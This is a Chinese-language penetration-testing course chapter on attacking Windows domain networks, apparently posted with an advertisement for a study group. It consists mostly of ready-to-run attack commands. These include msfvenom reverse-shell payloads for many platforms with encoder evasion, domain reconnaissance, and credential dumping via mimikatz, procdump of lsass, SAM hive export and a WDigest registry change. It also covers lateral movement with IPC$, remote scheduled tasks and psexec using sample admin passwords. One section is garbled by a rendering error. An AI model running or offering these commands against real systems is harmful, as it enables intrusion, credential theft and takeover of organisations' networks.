第十八章——内网渗透之域渗透

773617250渗透学习交流群,进群可领取一套完整学习工具,群内定期通知参加直播课程,直播时间可与老师进行互动。感谢大家的支持!

  1. MSF
    在讲域渗透之前,先给大家讲讲MSF
    ●kali代理配置
    http://pawelli.com/archives/527
    ●回顾msf知识
    ●针对内网 批量扫描 ms17-010
    ●针对域成员 08R2 msf渗透 并提权

要点:针对对方是x64的架构 生成一个x64的反弹shell的exe文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.145 LPORT=6666 -f exe -o shell.exe
可以利用这个模块配合提权multi/recon/local_exploit_suggester

关于msfvenom生成木马:

参数:
-p 指定要使用的 msf 的 payload,也可以使用自定义 payload。
-l 列出所有可用的所有可用资源. 模块类型包括: payloads, encoders, nops等。
-n 为 payload 预先指定一个 NOP 滑动长度(一切为了绕过防火墙与免杀)。
-f 指定 payload 输出的文件类型,–help-formats,可查看支持的所有输出格式(默认的输出格式是 raw,直接输出 payload 的字符,含乱码之类)。
-e 指定要使用编码器。
-a 指定 payload 的目标架构,如 windows 系统的 x64,x86。
–platform 有效载荷的平台,如 windows 系统等。
-s 设定有效攻击荷载的最大长度,简单说就是生成的后门的字节数。
-b 指定坏字符,比如空字符截断问题等,导致后门无法运行。
-i 指定编码的次数,如果使用编码器。
-c 指定一个附加的 win32 shellcode 文件指定一个自定义的可执行文件作为模板。
-x 使用一个自定义可执行程序模板,并将 payload 嵌入其中
-k 当模板被执行时,payload 自动分离并注入到新的进程中,一般和-x 选项一并使用。
-o 指定创建好的 payload 的存放位置
-v 指定一个自定义的变量,以确定输出格式

生成shell(木马的命令):
linux :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x86_linux.elf

msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x6_4linux.elf

windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f exe -o x64shell.exe

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f exe -o x86_shell.exe
(32 程序也可在 64 位系统运行)

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 3 -f exe -o payload.exe

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 -a x86 --platform Windows -f dll >x86.dll

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 --platform Windows -f dll >x64.dll

MAC:
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f macho -o payload.macho

PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php

ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.jsp

WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.war

Python:
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o shell.py

Bash:
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

Perl:
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.pl

Powershell:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST= LPORT= -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1

msfvenom -a x64 --platform windows -p windows/x64/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershellbase64 -i 3 -f raw -o x64_shell.ps1

Android:
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f apk -o payload.apk

ASPX:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f aspx -o payload.aspx

  1. 域介绍

内网域环境:域 domain 是windows中独立运行得单位,将网络中多台计算机逻辑上组织在一起,进行集中管理,这种区别于工作组的逻辑环境叫做域。搭建域环境,方便管理服务器以及终端设备。

域控服务器:通过域控服务器去管控其他机器,域控可以是一台也可以是多台,比如某一台宕机的时候,另外两台就会正常工作,整个域是没啥影响的。

域用户:域用户呢,是被域控服务器所管控的,域用户的账号名以及密码通过域服务器的控制器去验证,也就是说你的账号密码可以在任何一台同一域的计算机上去登陆。

域管:登陆到域控制器上,对这个域的权限进行控制,而不用跑到每台电脑前去设置

组:可以通过分组的形式对一些员工电脑进行相应的管控。

  1. 域渗透
     域渗透信息收集:

通过net来查看
net user /domain 查看域用户
net view /domain 查看几个域
net view /domain:hack 查看域内主机
net group /domain 查看域的组
net group “domain computers” /domain查看域内的主机名
net group “domain admins” /domain 查看域管理员
net group “domain controllers” /domain 查看域控制器

通过nbtscan来收集内网信息
nbtscan.exe 192.168.1.0/24 getshell后可以上传nbtscan来收集内网域信息

通过查看信任域来收集信息
nltest /domain_trusts /all_trusts /v /server:192.168.1.160 查看受信任域,也就是查看当前主机的域在哪个域
nltest /dsgetdc:hack.com /server:192.168.1.160 返回域控与其对应的IP地址

通过csvde来查看
Csvde是windows 2008 server的内置命令行工具,位于%windir%/system32文件夹中,如果您安装了AD DS 或者 Active Directory轻量目录服务服务器角色,则此功能可用。
适用于:windows server 2003,windows server 2008,windows server 2003 R2,windows server 2012等
命令:csvde -setspn hack -f c:\windows\temp\hack.csv

 域渗透思路:

横向渗透→权限维持→获取密码(获取某个域用户的账号密码)→域信息收集→横向渗透域环境→获取密码→获取域管理权限(拿下域控)

关于横向渗透的思路:

  1. 弱口令(RDP,SMB,SSH等等
  2. 未授权 redis未授权
  3. RCE Jboss weblogic(扫描端口) str2 RCE 等

关于抓取密码思路:

  1. mimikatz工具抓取密码,这款工具可以直接从lsass.exe文件获取处于active的密码,非常强大。
    #提升权限:privilege::debug
    #抓取明文密码:sekurlsa::logonpasswords

需要说明一下的是,当系统为win10或者win2012R2以上时,默认内存缓存中禁止保存明文密码,此时可以通过修改组测表的方式抓取明文,但是需要用户重新登陆后才能抓取成功。
命令如下:

reg add hklmSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

当用户再次登陆服务器的时候,我们重新加载mimikatz,就可以抓取密码。

  1. 使用wce抓取密码
    upload传上去,目标cmdshell下输入 wce.exe -w命令抓取明文密码 输入wce.exe -l 可以抓到ntlm 哈希。

  2. 注册表读取密码
    获取注册表信息
    reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
    reg save HKLM\SAM c:\windows\temp\Sam.hiv

download c:\windows\Temp\Sam.hiv /root/

mimikatz运行解压命令
lsadump::sam /sam:Sam.hiv /system:Sys.hiv

  1. meterpreter 的hashdump
    hashdump 可以直接导出目标sam数据库中的Hash,但是在非system权限下会运行失败。
    也可以利用 run post/windows/gather/smart_hashdump 这个模块

对于msf会话,也可以直接load mimikatz模块
load mimikatz,在通过msf加载mimikatz得时候呢,注意看对方的架构,如果是64位的话,就要把当前进程迁移到一个64位的进程中去,然后再加载mimikatz,因为msf会默认加载一个32位的mimikatz,导致mimikaz的很多功能用不了。

  1. procdump
    procdump导出lsass进程的内存,有32位与64位。
    #导出dmp文件 procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    然后把生成的dmp文件download下来,放到mimikatz目录,执行sekurlsa::minidump lsass.dmp
    log
    sekurlsa::logonpasswords
    同样可以导出密码

关于渗透域控思路:
6. IPC渗透
可以访问目标机器的文件(上传下载),也可以在目标机器上运行命令,上传下载的话直接通过copy命令就可以。比如从本地上传1.bat到192.168.1.1机器C盘根目录下,那就 copy 1.bat \192.168.1.1\CKaTeX parse error: Undefined control sequence: \administrator at position 53: …8.1.160 /u:hack\̲a̲d̲m̲i̲n̲i̲s̲t̲r̲a̲t̲o̲r̲ ̲admin@123 域控账号…\windows\system32\ 传文件过去
dir \192.168.1.160\c$\windows\system32\shell2.exe 查看下有没有这个文件
利用计划任务执行命令:
schtasks /create /tn task5 /U hack\administrator /P admin@123 /tr “c:\windows\system32\cmd.exe /c whoami >c:\windows\temp\1.txt” /sc ONSTART /s 192.168.1.160 /RU system
schtasks /run /tn task5 /s 192.168.1.160 /U hack\administrator /P admin@123
schtasks /F /delete /tn task5 /s 192.168.1.160 /U hack\administrator /P admin@123

计划任务执行文件:
schtasks /create /tn task5 /U hack\administrator /P admin@123 /tr “c:\windows\system32\shell2.exe /sc ONSTART /s 192.168.1.160 /RU system

创建计划任务
schtasks /create /tn task5 /U hack\administrator /P admin@123 /tr “c:\windows\system32\cmd.exe /c whoami >c:\windows\temp\1.txt” /sc ONSTART /s 192.168.1.160 /RU system

schtasks /run /tn task5 /s 192.168.1.160 /U hack\administrator /P admin@123 执行计划任务

schtasks /F /delete /tn task5 /s 192.168.1.160 /U hack\administrator /P admin@123 删除计划任务

  1. PSEXEC
    net use \192.168.1.160 /u:hack\administrator admin@123
    psexec.exe \192.168.1.160 -s cmd.exe -accepteula

你可能感兴趣的:(网络安全,科技公开课程,内网渗透)